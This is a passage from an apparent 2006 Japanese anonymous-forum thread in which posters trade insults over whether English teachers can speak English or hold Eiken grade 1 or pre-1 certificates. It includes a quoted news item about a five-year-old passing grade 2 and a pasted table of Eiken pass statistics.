English the students listen to. Actually it's not.
I also ask our ALT to correct any worksheets I make for the students
before printing them, because I know I make some stupid mistakes in whatever
I write.
When it comes to my spoken English, you know, it's far from perfect.
I just hope my students won't learn errors and get them fossilized.
However, again, it's not the only English they hear, because we have our ALT.


424 :実習生さん:2006/11/24(金) 07:13:21 ID:0PB5tE8X
まあ、何十年も英語教えてるんだから、素人からみれば、
英会話ぐらいできて当然と思うのが普通だろ。
それが間違いなら、学校、教員が生徒をはじめ親、地域社会に説明すべきだろ。

「英語教員はかならずしも英会話ができるわけではありません。
 ○○教師、××教師は英会話はできません。
 しかし、授業には何の差支えもありません。」

ってな具合にな。

425 :実習生さん:2006/11/24(金) 08:05:51 ID:M/rh0DdJ
>>424
役職を言う場合は教師ではなく教諭。

ちなみに先生に喋れてほしいということはおまいらも英語喋れるようになりたいんか??

426 :実習生さん:2006/11/24(金) 08:10:47 ID:92m8bJ4B
>しかし、授業には何の差支えもありません。

事実だ。生徒はそこまで希望していない。しかもそんなことに時間を使っていたら
ただでさえ低い進学率が余計に下がる。

427 :実習生さん:2006/11/24(金) 09:42:13 ID:zhsTCOUP
>>424
>しかし、授業には何の差支えもありません。」

数学の教師が数学できなくても、社会の教師が社会を知らなくても何の差し支えもありません。
指導書の棒読み、本屋で売ってるドリルのコピーをやらせるだけでも何の差支えもありません。

でも、教師がいないと差し支えがあります。教師が給料もらう口実がなくなるからです。
仮病を使って給料もらう制度も整っていますが、まだまだ遅れています。

え?生徒?教師がいなくても生徒には何の差支えもありませんw



428 :実習生さん:2006/11/24(金) 09:56:16 ID:rUJuwFxu
>>421
Yes, and that is so often said among teachers.
To add my point of view, output matters more than input.
In fact I dwelt on how to encourage students to speak during my teaching practicum.

>>422
Not just trying to say but I meant it.
From what you ask it is hard to evaluate students' expression.
And writing needs accuracy while relatively speaking doesn't.
What would you think of that?

429 :実習生さん:2006/11/24(金) 10:01:13 ID:92m8bJ4B
>>427
>教師がいなくても生徒には何の差支えもありませんw
教師がいなかったら単位が認められず、卒業証書がもらえません。
また、落ちこぼれのバカ生徒の鬱憤のはけ口がなくなります。

430 :実習生さん:2006/11/24(金) 10:04:28 ID:zhsTCOUP
>>429
英語が勉強できなくて困る生徒はおらんのかw
正直でいいかもしれんが、自分たちが問題だという意識がさっぱりないんだな。

431 :実習生さん:2006/11/24(金) 10:13:01 ID:rUJuwFxu
>>430
自分のオシメにどれだけの金と労力と時間が費やされてるかを理解してる赤ん坊なんていねえよ( ´ー`)y−~~
育てる側としては>>427>>429が自立して生きていくだけの力をつけてくれればそれでいい。

とりあえず英語を喋れない教師にALTとのTTはできんし、プロとしては論外だがな。
会話という点のみについては伝わればいいんじゃね?
ただ、自分の間違いを多分に含む英語を生徒に植え付けないため
あまり自分では喋らないという配慮をしてる先生はいるかもな。それもいいか悪いか微妙だが。

432 :実習生さん:2006/11/24(金) 10:19:15 ID:92m8bJ4B
>>430
残念だけど、俺は英検1級取得者だ。
正直に言うが、英語力の高さは生徒も認めてくれてるし、
俺の発音の良さも生徒もよく褒めてくれるしね。
教員の学力や教科に対する見識の深さ、そこから生まれる授業の広がり
などは生徒を引きつけて授業を引き締まったものにするためには必要だよ。
だが、俺があえてここで茶化すわけは、あまりにも自分の努力のなさや
学力の低さを教員や学校のせいにしたがる輩が多いから。
そういう奴らに正面切ってまともなこという意味はない。
学ぶ姿勢や意志があれば、自然と興味も湧くし学力も身に付く。
文句ばかり言ってる奴らにはそこが見えていない。

433 :実習生さん:2006/11/24(金) 10:23:06 ID:zhsTCOUP
>>432
>>残念だけど、俺は英検1級取得者だ。

大嘘つくんじゃねーよw
悔しかったら、その日本語の屁理屈英語にしてみろ、ボケw



434 :実習生さん:2006/11/24(金) 10:24:26 ID:92m8bJ4B
>>433
自己正当化のため信じたくないのはお前の勝手。
屁理屈じゃないので要望には応えない。


435 :実習生さん:2006/11/24(金) 10:27:30 ID:zhsTCOUP
>>431
>とりあえず英語を喋れない教師にALTとのTTはできんし、プロとしては論外だがな。

こういう教師が多いから困ってるんだろうが。

436 :実習生さん:2006/11/24(金) 10:29:05 ID:rUJuwFxu
>>435
>>427
>え?生徒?教師がいなくても生徒には何の差支えもありませんw

困ってないんじゃないのか。
>>434も教師ならお前が英語で煽れば英語で返してくれるんじゃね?

437 :実習生さん:2006/11/24(金) 10:29:25 ID:zhsTCOUP
自分の無能さ、努力のなさを生徒に責任転嫁する教師もひどいが、
その上、デマカセ言って虚勢を張る教師は論外w

438 :実習生さん:2006/11/24(金) 10:31:14 ID:92m8bJ4B
結局英語教師をすべて一括りにしてかたづけてしまいたいだけの
お子様は問題外だよ。
どうせ底辺校の落ちこぼれだろ。

439 :実習生さん:2006/11/24(金) 10:32:18 ID:92m8bJ4B
さてと、授業の準備があるからID:zhsTCOUPのようなバカのお相手はひとまず。

440 :実習生さん:2006/11/24(金) 10:34:01 ID:zhsTCOUP
学校で2ちゃんやってる教師発見w
どこの学校だ?いってみろ?

441 :実習生さん:2006/11/24(金) 11:26:01 ID:rUJuwFxu
>>440
そういえばお前は今日学校休みなのか?

442 :実習生さん:2006/11/24(金) 11:33:13 ID:TkCe/hh9
しかし、何千回説明しても分からない生徒っているよな〜
ヒゲ面してても頭の中身は幼稚園児。
まあ、そういう馬鹿は2ちゃん大好きっ子なんだけど・・・


443 :実習生さん:2006/11/24(金) 11:43:59 ID:rUJuwFxu
>>442
そういう奴は詐欺に近いくらい簡単な説明でなんとなく納得させて
とにかく練習させろ。いくら説明を聞いたってできるようにはならん。

444 :実習生さん:2006/11/24(金) 12:54:50 ID:Xs18/ngh
英語教師の必死の応戦が笑えるw
でも、英語教師が英語できないのは事実。それはきっちり認めようぜ。

445 :実習生さん:2006/11/24(金) 13:01:42 ID:rUJuwFxu
いやいや、英語教師らしき人がここ最近このスレで英語書いてるじゃんか。

446 :実習生さん:2006/11/24(金) 13:04:31 ID:Xs18/ngh
一人ぐらいそういう奴がいるからどうだってんだよ。
>>1にしっかり新聞記事が出てるじゃないか。英語教員のほとんどは準1級にも達しないってな。


447 :実習生さん:2006/11/24(金) 13:34:02 ID:rUJuwFxu
>>446
ああ、なるほどね。確かに準1級以上を持ってる先生は少ないみたいね。
それで、キミは準1級以上の先生じゃないと不満なの?

448 :実習生さん:2006/11/24(金) 13:46:48 ID:Xs18/ngh
英語だけを何十年もやってるんだぞ、英検1級ぐらい当たり前だろ。
ほとんどの英語教師は英語嫌いなんじゃないかと思うがな。

449 :実習生さん:2006/11/24(金) 13:47:22 ID:92m8bJ4B
まだやってるのか?
英検は受験する義務などないから受験していない人もたくさんいるよ。
持っていないから英語力がないというのは短絡な考え。
実際に級を持たない人間がここで野次ってるだけだから無理もないけどね。
デーブ・スペクターが3級しか取れないというのをTV番組でやってたらしいね。
1級は落ちたらしい。その後勉強して合格したらしいが、試験とはそんなものだよ。
受験でも英検でも、出される問題には特徴がある。単にネイティブだから高得点が出るわけではない。
英検1級の場合は英語力だけでなく、国際的な文化の相違を説明したり時事用語を知っていたり
日英相互で似た意味を持つ諺なども知らなければならない。
試験の傾向をとらえて勉強すれば合格率はぐんと上がる。対策をとらなければ英語力があっても
不合格になる場合もある。
ま、多少なりとも勉強したことがある人ならこれぐらいのことは分かるはず。
盲目的な決めつけで英語教師を一括りにして叩こうとする低能のボクちゃんにはわかるまい。

450 :実習生さん:2006/11/24(金) 13:51:07 ID:Xs18/ngh
>>449
そうかよ、じゃその日本語英語にしてみろよ。

だいたい、英語の教師は英語ができないってのが世間一般のコンセンサスだな。
オレも英語の教員は何人か知ってるが、ろくにできない奴ばかり。
リーマンやOLの方ができたりする。


451 :実習生さん:2006/11/24(金) 13:52:57 ID:92m8bJ4B
>>450
やだね。
お前みたいな低能相手にエネルギーの無駄遣いはしないよ。
くだらん。

452 :実習生さん:2006/11/24(金) 13:54:17 ID:92m8bJ4B
だいたい>>450は英語どれだけわかるんだ?
勝手な決めつけばかり言ってるだけだぞ。
くだらん。

453 :実習生さん:2006/11/24(金) 13:58:34 ID:rUJuwFxu
>>450
だからお前がそれを英語で聞いてみろってw

454 :実習生さん:2006/11/24(金) 14:06:19 ID:Xs18/ngh
なんで教員って。こういう口先だけのバカがそろってるんだw
英語できるならやってみせればいいだけ。できないなら、これからもバカにされ続けるだけw


455 :実習生さん:2006/11/24(金) 14:08:30 ID:TkCe/hh9
>>450
さあ〜、どうでるか。楽しみ。

456 :実習生さん:2006/11/24(金) 14:09:59 ID:TkCe/hh9
>>449
こんなニートどもに正論言ってもわかるめえ。

457 :実習生さん:2006/11/24(金) 14:11:54 ID:rUJuwFxu
>>455
・英語を書く     ⇒ >>446
・英語を書かない ⇒ >>454

Like water off from a duck's back.

458 :実習生さん:2006/11/24(金) 14:13:52 ID:92m8bJ4B
>>454
お前にバカにされて困る人間なんていないと思うぞ。
いまだに学力低下と履修不足の責任を負えない文科省の言うことをまともに
受けるバカが存在するとはね。

>英検準1級以上の取得者は中学で約1割、高校で約2割にとどまっている
>ことが、同省による初めての調査でわかった。

受験したのは全体の何割か不明。もしかして未受験の者まで含めて言っているのであれば
おバカな調査と言うことになる。ましてそれを鵜呑みにするやつは・・・?


459 :実習生さん:2006/11/24(金) 14:15:28 ID:rUJuwFxu
>>458
自分に都合のいい仮定の上で話を進めるのは詭弁じゃないか?

460 :実習生さん:2006/11/24(金) 14:17:09 ID:92m8bJ4B
>>459
何でそこまで必死なのかw

お前にはこのぐらいで十分。
何が仮定だって?言葉の意味分かってないだろ。


461 :実習生さん:2006/11/24(金) 14:17:57 ID:92m8bJ4B
あれ?
紛らわしいよ。

462 :実習生さん:2006/11/24(金) 14:19:38 ID:rUJuwFxu
>>460
IDよく見ろ。噛み付く相手を間違えてるぞ。

事実・・・「受験したのは全体の何割か不明。」
仮定・・・「もしかして未受験の者まで含めて言っているのであれば」
結論・・・「おバカな調査と言うことになる。」
飛躍・・・「ましてそれを鵜呑みにするやつは・・・?」

463 :実習生さん:2006/11/24(金) 14:21:24 ID:92m8bJ4B
>>462
だから紛らわしいね。

ID:Xs18/nghが飛躍しているから言ったんだよ。

464 :実習生さん:2006/11/24(金) 14:22:54 ID:rUJuwFxu
>>463
飛躍も何も、奴のは論理の体をなしていない。

465 :実習生さん:2006/11/24(金) 14:23:53 ID:Xs18/ngh
>>458
>>お前にバカにされて困る人間なんていないと思うぞ。

教員なんて国民的な嘲笑の対象だろw
なかでも英語の教員ときたらww



466 :実習生さん:2006/11/24(金) 14:24:03 ID:92m8bJ4B
>>464
その通り。くだらないね。
業務に戻ります。

467 :実習生さん:2006/11/24(金) 14:25:14 ID:92m8bJ4B
>>465
つまり、根拠もなく感情で叩いてるだけだな。
白状したようだ。つまらん。

468 :実習生さん:2006/11/24(金) 14:30:27 ID:rUJuwFxu
>>465
It would be my pleasure if you state that in English.

>>467
Go back to work.

469 :実習生さん:2006/11/24(金) 14:31:13 ID:RmRikDGH
ここで一生懸命くだらない反論するより、英単語の一つでも覚えた方がいいんじゃないかな、英語の教師は。

470 :実習生さん:2006/11/24(金) 14:39:34 ID:Xs18/ngh
ププ、その通りだな。

471 :実習生さん:2006/11/24(金) 14:52:06 ID:rUJuwFxu
>>469
今は期末試験シーズンだし、自分のための勉強時間なんてないんじゃねーの?

>>470
I'm afraid I guess you cannot even write or read plain English.

472 :実習生さん:2006/11/24(金) 14:55:08 ID:Xs18/ngh
でも、2ちゃんに書き込む時間はあるんだなw

473 :実習生さん:2006/11/24(金) 14:58:53 ID:rUJuwFxu
いや、俺大学生だし。教育学部だけど。

474 :実習生さん:2006/11/24(金) 15:55:35 ID:ckKG2HIG
誰もつっこまんが、450の世間一般のコンセンサスからして意味不明で、
日本語が出来ない子なわけなんだがな(笑)。
説明してみろよ、それ

475 :実習生さん:2006/11/24(金) 16:49:04 ID:TkCe/hh9
Xs18/ngh
こいつは正真正銘のバカニートだな。
何浪だよ

476 :実習生さん:2006/11/24(金) 19:41:23 ID:yp3MTfnV
教え方が問題だと言った俺の投稿は無視されたままか、、、

477 :実習生さん:2006/11/24(金) 19:45:52 ID:smfmcpDb
まあ、何十年も英語教えてるんだから、素人からみれば、
英会話ぐらいできて当然と思うのが普通だろ。
それが間違いなら、学校、教員が生徒をはじめ親、地域社会に説明すべきだろ。

「英語教員はかならずしも英会話ができるわけではありません。
 ○○先生、××先生は英会話はできません。
 しかし、授業には何の差支えもありません。」

ってな具合にな。

478 :実習生さん:2006/11/24(金) 19:49:30 ID:smfmcpDb
英検もそう。何十年も英語教えてるんだから、素人からみれば、
英検一級、準一級ぐらいとってて当然と思うのが普通だろ。
これも説明すべきだろ。

「英語教員はかならずしも英検を取得してるとは限りません。
 ○○先生は1級、××先生は2級、△△先生は英検もってません。
 しかし、授業には何の差支えもありません。」

ってな具合にな。

479 :実習生さん:2006/11/24(金) 19:52:20 ID:8JD3EsyS
Well, my test does not include any rote-learning(memorizing things.)

All the passages we learn from the textbook are written somewhere on
the test paper, where I might ask,"Why did the writer get annoyed?"
Students might say, "Because the boy stepped on his clean pants," using
the expression in the passage. Sometimes questions are multiple-choice ones.
As a vocabulary test, I sometimes ask students to guess a word by reading
the definition of a word...What is "a common water bird with short legs and a wide beak,
that is used for its meat, eggs, and soft feathers?" The answer is,
by the way, "duck." Not all but some of my students can do it because
they learned the word from the lesson we did during the term.

The bottom line is my students don't have to memorize much but all they
have to do is to know and understand what happened in the stories.
Most of them do well at this kind of test.

480 :実習生さん:2006/11/24(金) 20:10:10 ID:4rwPAv3O
ID:smfmcpDb is so fool that he can't understand even an alphabet.
This is typical of those who is from a low-level public school.

481 :実習生さん:2006/11/24(金) 20:38:45 ID:zhsTCOUP
そういえば、文科省が英語教員の目標としてTOEICのスコアを示してなかったっけ?
あれ、何点だったかなぁ? 高校生でも取れるようなスコアだったっけ?w

482 :実習生さん:2006/11/24(金) 21:44:46 ID:CzHRVSzF
教師にいくら八つ当たりしたって、おめーが何もやらず、何もできねえグズの
木偶のボーなリアルは何もかわらんのにな

483 :実習生さん:2006/11/24(金) 22:56:59 ID:zhsTCOUP
検索したらわかった。TOEIC730、TOEFL550だって。
要するに、英語教師はこれ以下ってことかw
楽チンな基準だな、でもまでできない奴がほとんどなのかw



484 :実習生さん:2006/11/24(金) 23:05:57 ID:4rwPAv3O
Watching this thread twenty four hours and writing worthless sentences is 483's job.
It suits him fine. All he can do is only looking down on other people.

485 :実習生さん:2006/11/24(金) 23:24:23 ID:zhsTCOUP
学校でずっとこおスレに書き込んでる教師のほうがすごいだろw
オレは朝にちょっとと、夜にちょっとだけ。

486 :実習生さん:2006/11/25(土) 01:10:26 ID:6pbV+Xms
ニート必死だなw
馬鹿丸出しw

487 :実習生さん:2006/11/25(土) 08:04:49 ID:W66FrAHg
20年、30年も英語教師やってて英検1級、準1級とれないものなの?
それとも、とろうと思えばとれるけど、とっても意味がないと思うからとらないの?
どっちなのでしょうか?


488 :実習生さん:2006/11/25(土) 09:21:53 ID:0/U2CkgO
英語教師やってるが何か?
俺は大学時代に1級とったが何か?
通訳案内士もとったが何か?
海外親善訪問時に市長に通訳として同行したが何か?
時々市の海外親善事業を通訳やパンフレットの翻訳などで手伝っているが何か?

489 :中学生:2006/11/25(土) 09:48:32 ID:gk7nf5LF
結構先生ってこういう所を見ているんですね。パソコンまだあんまり使ったことないんで知らなかったです。
どんな顔の先生が書いているのか見てみたいです。ところで実習生さんって何ですか?

490 :実習生さん:2006/11/25(土) 09:57:27 ID:hAg6x0lO
>>487 can't pass the STEP grade one even if he study english for a century.

491 :実習生さん:2006/11/25(土) 10:20:07 ID:iOMmjzkZ
>>487
英語の専門学校とかでやってる英検1級のコースとかでも、
1年か2年ぐらいじゃない?
20年のコースなんてないよなw

492 :実習生さん:2006/11/25(土) 10:23:18 ID:0/U2CkgO
>>491
君はもちろんすでに1級取得済みなんだな?


493 :実習生さん:2006/11/25(土) 10:26:52 ID:HNFXDeVI
英語話すのって簡単だよ。
書いたり問題解く方が絶対に難しいよ。

話すのがどれだけ楽なことか、気づかずに劣等感を持ってる英語教師が多いよね。

494 :実習生さん:2006/11/25(土) 10:31:35 ID:iOMmjzkZ
>>492
はぁ?
英検1級のコースで20年間のコースがあるかないかって話しをしただけなんだけど。
何かの被害妄想?



495 :実習生さん:2006/11/25(土) 10:40:38 ID:7Dwrsw5M
Using English is fun, especially when we talk with someone from abroad
and exchange our views and learn forign cultures.

In cases like that, we don't really care if we make mistakes. We enjoy
chatting. When it comes to writing formal documents, we feel naturally
pressured because mistakes in written forms look really awkward and
should be gotten rid of as much as possible.

As for solving grammatical problems, it is something we have to do,
in order to understand the language better. We can hardly enjoy doing it.

496 :実習生さん:2006/11/25(土) 10:46:28 ID:UyqHLi4m
親戚に英語教師いるけど英語なんて話せないよ。
独りで海外旅行できないもん。
英検2級も怪しいんじゃないかな。

497 :実習生さん:2006/11/25(土) 11:01:57 ID:zixQEZd9
まあ、何十年も英語教えてるんだから、素人からみれば、
英検一級、準一級ぐらいとってて当然と思うのが普通だろ。
それが間違いなら、学校、教員が生徒をはじめ親、地域社会に説明すべきだろ。

「英語教員はかならずしも英検を取得してるとは限りません。
 ID:0/U2CkgO先生は1級、余談ですが通訳案内士として海外親善訪問時に市長に通訳として同行したこともあります、
 ××先生は準1級、△△先生は3級(場内ザワザワ、クスクス)。
 しかし、授業には何の差支えもありません。」

ってな具合にな。

498 :実習生さん:2006/11/25(土) 11:24:14 ID:7impJ5o6
俺はこの間インドで一人旅してきたよ。英検は高2のとき取った2級で止まってるけど。

499 :実習生さん:2006/11/25(土) 11:30:10 ID:0/U2CkgO
自分自身は全く努力もせず能力も資格もないくせに
ただ煽っているだけの人間がいることを
>>494が証明してくれました。

な〜んだ。>>494はただの落ちこぼれか。

500 :実習生さん:2006/11/25(土) 11:33:29 ID:to0DvPdN
>>499
傍からみてると、お前も>>494も同じに見える。
第三者の目を養えよ。

501 :実習生さん:2006/11/25(土) 12:04:31 ID:0/U2CkgO
残念ながら俺は前述したとおりだ。
能もない癖に盲目的に叩こうとするだけのやつが気に食わんだけだよ。
ま、能なしが何言おうと世の中は変わらんがな。

502 :実習生さん:2006/11/25(土) 12:12:39 ID:iOMmjzkZ

英語教師の英語力について書き込むと、そのIDや番号を攻撃する奴がいるけどw、
やっぱ、英語教師?
そんなことしてる暇があったら、英単語の一つでも覚えれば?


503 :実習生さん:2006/11/25(土) 12:29:06 ID:PxIbITxB
>>501
だから、第三者の目を養えと言ってるだろうが。
意味わからん、アホか?

504 :実習生さん:2006/11/25(土) 12:54:52 ID:x+6yE5k+
Family values

Value of human life

505 :実習生さん:2006/11/25(土) 13:06:21 ID:Jgz7FdEl
実用英語技能検定(英検)で、横浜市緑区の加藤博人君(5)が、高校卒業レベルの
2級に合格した。日本英語検定協会(東京都)によると、資料が残る2000年度以降で
2級合格の最年少記録は5歳で、タイ記録となる。検定申し込み時の年齢でみても、
これまでの最年少は5歳8か月で、博人君は9月の申し込み時点で5歳9か月だった。
合格者の平均は18・7歳という検定での快挙は周囲を驚かせている。

 12日に行われた2次の面接試験で、博人君は33点満点中、20点だった。合格ライン
19点を見事にクリアし、22日に合格通知のはがきを受け取った。「たぶん受かると
思っていたけれど、本当にうれしい」と、26日の誕生日前に舞い込んだうれしい知らせを
喜んでいる。

 博人君は海外に住んだことはなく、親も英語は得意ではない。横浜市都筑区の英語教室に
通って、外国人の講師と英会話を楽しんでいる。

 英語を始めたきっかけは、自動車関係のフリーライターをしている母親、久美子さん(42)の
影響で、博人君が車や部品の名前に興味を持ち、英語のまま覚えるようになって。

 久美子さんが「もっと英語を身につけさせてあげたい」と、3歳から英語教室に通わせるよう
にした。
(後略)

神奈川 : 地域 : YOMIURI ONLINE(読売新聞)
http://www.yomiuri.co.jp/e-japan/kanagawa/news001.htm

506 :実習生さん:2006/11/25(土) 13:11:41 ID:7impJ5o6
>>505
すげぇwwww


面接の点数高2の頃の俺と同じwwww

507 :実習生さん:2006/11/25(土) 13:46:42 ID:KhcFMTyU
>>501
別に能力を疑ってるわけじゃないが
行政サービス専門でも無い人に随伴通訳を頼むのか?
教育関係の視察なら分からなくもないが。

どうやら先生らしいから、通訳ガイドでの実働もあんまり無いんだろ?
ガイド実績も無くて専門外の人に頼むなんて、のんびりした所だな。
公費の監査入ったらやばそうね

508 :実習生さん:2006/11/25(土) 13:51:54 ID:iOMmjzkZ
>>505
なんて生意気なガキなんだ、英語教員をさしおいて英検2級を取るとは。
こういうガキは、放っておくと必ず英語教員を馬鹿にするようになるから、
中学に上がってきたら、英語教師が適切に指導しないといけないな。

な、そうだろ?英語教師クンw

509 :実習生さん:2006/11/25(土) 13:54:25 ID:Jgz7FdEl
英語できないのを英語教員のせいにしてるだけじゃん

510 :実習生さん:2006/11/25(土) 13:56:33 ID:ZnhF8cb3
いいかげんこのスレ 堂々巡り

低い能力の教師もいるだろうし、そういう人が攻撃されてもいいということには
同意するが
粘着してここに常駐して、一部をすべてにすり替える論調は頭が悪いね。
個人攻撃すればいいんだよ。自分が教えてもらった人がそうならね。
英検2級の話題でもりあがるなんて・・・


511 :実習生さん:2006/11/25(土) 13:57:55 ID:8xR9dxvG
英語教師より明らかに英語できるけどな(笑

512 :実習生さん:2006/11/25(土) 14:02:06 ID:iOMmjzkZ
>>509
英語教員が英語できないのは英語教員のせいに決まってるだろw

513 :実習生さん:2006/11/25(土) 14:02:42 ID:Jgz7FdEl
>>511
じゃ、それでいいやん
それとも英語教師より英語できるのに、採用試験落ちたの?


514 :実習生さん:2006/11/25(土) 14:05:40 ID:YN60TtR0
>>510
低い能力の教師なんているわけないだろ。
まあ、何十年も英語教えてるんだから、素人からみれば、
英検一級、準一級ぐらいとってて当然と思うのが普通だろ。
それが間違いなら、学校、教員が生徒をはじめ親、地域社会に説明すべきだろ。

「英語教員はかならずしも英検を取得してるとは限りません。
 ○○先生は1級、 ××先生は準1級、△△先生は3級(場内ザワザワ、クスクス)。
 しかし、授業には何の差支えもありません。」

ってな具合にな。
どうだ、賛成だろ?

515 :実習生さん:2006/11/25(土) 14:16:30 ID:8xR9dxvG
>>513
アメリカに住んでいるんですが

516 :実習生さん:2006/11/25(土) 14:21:05 ID:iOMmjzkZ

あ、採用試験を忘れてたw

>>505
なんて生意気なガキなんだ、英語教員をさしおいて英検2級を取るとは。
こういうガキは、放っておくと必ず英語教員を馬鹿にするようになるから、
中学に上がってきたら、英語教師が適切に指導しないといけない。
こういう英語教師をバカにするようなガキは教育上よくないから、絶対採用しない。
どうだ参ったか。

オレもたまにはいいこと言うだろw

517 :実習生さん:2006/11/25(土) 14:32:39 ID:7impJ5o6
2級なんて学校の英語をちゃんとできてりゃ殆ど喋れずともとれるぞ。

5歳で合格するのは滅茶苦茶すごいけど、教師なら受ければ受かるだろ普通。

518 :実習生さん:2006/11/25(土) 14:48:11 ID:3kk5i/Bu
>>517
一次は通るだろうよ。
 小中学校の教師はとれるかな?


519 :実習生さん:2006/11/25(土) 14:50:09 ID:7impJ5o6
小学校はわからんが、中学の英語教師なら余裕

520 :実習生さん:2006/11/25(土) 15:02:53 ID:xsY8N0t5
くだらん。他にやることあるだろ

521 :実習生さん:2006/11/25(土) 16:08:14 ID:x/97gPch
暇人教師

522 :実習生さん:2006/11/25(土) 16:18:40 ID:3kk5i/Bu
俺は予備校講師だが教師は公務が色々あるけど勝ち組だろうな。
まあ、自由時間がある分俺は好きなことができるけどな。


523 :実習生さん:2006/11/25(土) 16:37:08 ID:rQ9wAKfc
市川

524 :実習生さん:2006/11/25(土) 17:11:30 ID:7Dwrsw5M
>>522

One of my students go to 予備校(a cram school?). He respects his
English teacher there. He was a very good student but now he seems
too busy preparing for his cram school classes. I don't think I can
blame him for being neglecting his studies at school, because 予備校
seems more informative in terms of the kind of English they should know
in order to pass entrance exams for universities.
I'm afraid I coudn't be a 予備校 teacher, even if I wanted to.

525 :実習生さん:2006/11/25(土) 17:22:58 ID:ZnhF8cb3
はいはい ちなみに英検のサイトで合格者のデータ見てご覧
教員もその他の企業もそれなりに合格者はいるけどね。
教員だけ極端に低いというデータではないね。データの読み方わかるね
学生さんよ。
ちなみに極端な例で高知県だと2005年に一級合格者は一名だけ。その人が教員か一般企業か
知らないけど。そんなもんだよ。

526 :実習生さん:2006/11/25(土) 17:26:15 ID:ZnhF8cb3
http://www.eiken.or.jp/advice/situation/shakaijin_2005.html

このスレは中高と英語ができずに欠点取って
英検だけがすべての尺度で
英語コンブの集まりでつか

527 :実習生さん:2006/11/25(土) 17:30:01 ID:iOMmjzkZ
>>525
>>教員もその他の企業もそれなりに合格者はいるけどね。

それなりにいるって何?w
英語だけを何十年も給料もらってやってるのは教員だけだろw
そんだけ金と時間をかけてるんだ、英検1級の合格者にワンサカいて当たり前なんだよ。



528 :実習生さん:2006/11/25(土) 17:30:49 ID:KhcFMTyU
英語コンブってなんだw
ドラえもんの道具か

529 :実習生さん:2006/11/25(土) 17:37:43 ID:oReJiG9n
・英語教師は英会話も出来て当たり前
・英語教師は英検1級か準1級は取れて当たり前
・英語教師はセンター試験で250点取れて当たり前
・英語教師は東大・京大の問題も解けて当たり前

英語教師に対してこのような妄想を抱いている人が多い気がする。
現実的に考えれば上の条件を全て満たしてる奴なんて少ししか居るはすがないのになw

530 :実習生さん:2006/11/25(土) 17:38:44 ID:UyqHLi4m
>>525
その教職員って分類には大学の 教師も入るんだよ。

531 :実習生さん:2006/11/25(土) 17:56:09 ID:3kk5i/Bu
>>524
yeh, I hear you. we just try hard for them to be able to pass
the goddamn entrance exam. I bet you guy are busy with a bunch of
bullshits, right? I cant stand that bureaucratic shits.

532 :実習生さん:2006/11/25(土) 17:59:47 ID:iOMmjzkZ
>>530
なるほど。
それなりとか言ってるけど、教職員の合格率ってそもそもそれほど高いわけじゃないな。
しかも、大学の教員も入っているとなると、中高の英語教員の合格率って相当低くなるんだがw



533 :実習生さん:2006/11/25(土) 18:06:11 ID:3kk5i/Bu
....and you guys have to take care of every single student
in the class, even dumbshits, right?
I only have to deal with those who are conscious.
I can kick out kids like these shitheads here.

534 :実習生さん:2006/11/25(土) 18:09:15 ID:3kk5i/Bu
受ける能力もないくせにほざいてろ

535 :実習生さん:2006/11/25(土) 18:11:32 ID:iOMmjzkZ
>>526
そのデータで、2級に落ちてる教職員が3分の2ぐらいいるんだがw
この中にいる英語教員はクビしないといけないよなぁ。
税金泥棒だろ。

536 :実習生さん:2006/11/25(土) 18:28:00 ID:iOMmjzkZ
>>526
教職員は大学の教員も含むとなると、理工学部の教員も英検を受けにくるから…

【2005年度】第1回検定 社会人職業別受験状況
 職業     1級  準1級  2級  準2級  3級  4級   5級  合計
       志願者 志願者 志願者 志願者 志願者 志願者 志願者 志願者
       合格者 合格者 合格者 合格者 合格者 合格者 合格者 合格者
教職員     580  795   292  144   83   28   16  1,938
大学教員含む) 40   95   112  92   58   25   15   437

        ↑   ↑
  ほとんど大学教員  大半は大学教員 

  と考えるのが自然だな。2級にもかなり大学の教員がいると思うので、中高の英語教員の合格率は50%ぐらいかw     

537 :実習生さん:2006/11/25(土) 18:31:53 ID:iOMmjzkZ
どうもズレちゃいますねw

>>526
教職員は大学の教員も含むとなると、理工学部の教員も英検を受けにくるから…

【2005年度】第1回検定 社会人職業別受験状況
 職業     1級   
       志願者 
       合格者 
教職員     580 
大学教員含む) 40   ←ほとんど大学教員

       準1級
       志願者
       合格者
       795 
       95    ←大半は大学教員

と考えるのが自然だな。2級にもかなり大学の教員がいると思うので、中高の英語教員の合格率は50%ぐらいかw 

538 :実習生さん:2006/11/25(土) 18:32:47 ID:iOMmjzkZ
おっと大間違い。

>>と考えるのが自然だな。2級にもかなり大学の教員がいると思うので、中高の英語教員の合格率は50%ぐらいかw 

と考えるのが自然だな。2級にもかなり大学の教員がいると思うので、中高の英語教員の合格率は10%ぐらいかw 

539 :実習生さん:2006/11/25(土) 18:47:38 ID:ySIyY4G9
>>529
え?当たり前じゃないの?
10年20年英語教師やってて、それが当たり前じゃなきゃただのバカじゃんwww

540 :実習生さん:2006/11/25(土) 19:23:10 ID:7impJ5o6
その10年20年の英語教師生活を自分の語学学習に費やし、
ものすごく適当な授業をやっててもいいんなら殆どの人が
5年以内に1級まで行くとおもうけどな。

541 :実習生さん:2006/11/25(土) 19:31:05 ID:iOMmjzkZ
>>540
よくそんな勘違いを言えるね。
英検1級を取った社会人は、今の教員より何倍も忙しいんだよ。
教員みたいに早く帰宅できないし、教員みたいに長〜い夏休みもないんだよ。


542 :実習生さん:2006/11/25(土) 19:34:00 ID:iOMmjzkZ
>>540
それに教員みたいに英語だけやってるわけじゃないんだよw

よーく考えてみな。

543 :実習生さん:2006/11/25(土) 19:40:47 ID:R0hHEoAu
10年20年生徒に英語教えてて、生徒が2級とると、
「おめでとう 次は準1級だね がんばって」
とかって言って、自分は2級しかないのかよ。
恥ずかしくないのかな?

544 :実習生さん:2006/11/25(土) 19:51:30 ID:Jc36Xk2w
英検2級なんて高校生でもとれるよ。それより、教え方じゃないの。

545 :実習生さん:2006/11/25(土) 20:02:04 ID:HRwX0vqQ
>>544
そうだよ、英検2級なんて高校生でもとれるんだから、それより教え方だよな。
だが、何十年も英語教えてるんだから、素人からみれば、
英検一級、準一級ぐらいとってて当然と思うのもしかたないだろ。
それが誤解なら、学校、教員が生徒をはじめ親、地域社会にちゃんと説明すべきだろ。

「英語教員はかならずしも英検を取得してるとは限りません。
 ○○先生は1級、 ××先生は準1級、△△先生は3級(場内プッ、ザワザワ、クスクス)。
 しかし、授業には何の差支えもありません。」

ってな具合にな。どうだ、賛成だろ?

546 :実習生さん:2006/11/25(土) 20:12:57 ID:iOMmjzkZ

「当教習所の教官はかならずしも運転免許を取得してるとは限りません。
 ○○教官は仮免、 ××教官は自動二輪、△△先生は原付(場内プッ、ザワザワ、クスクス)。
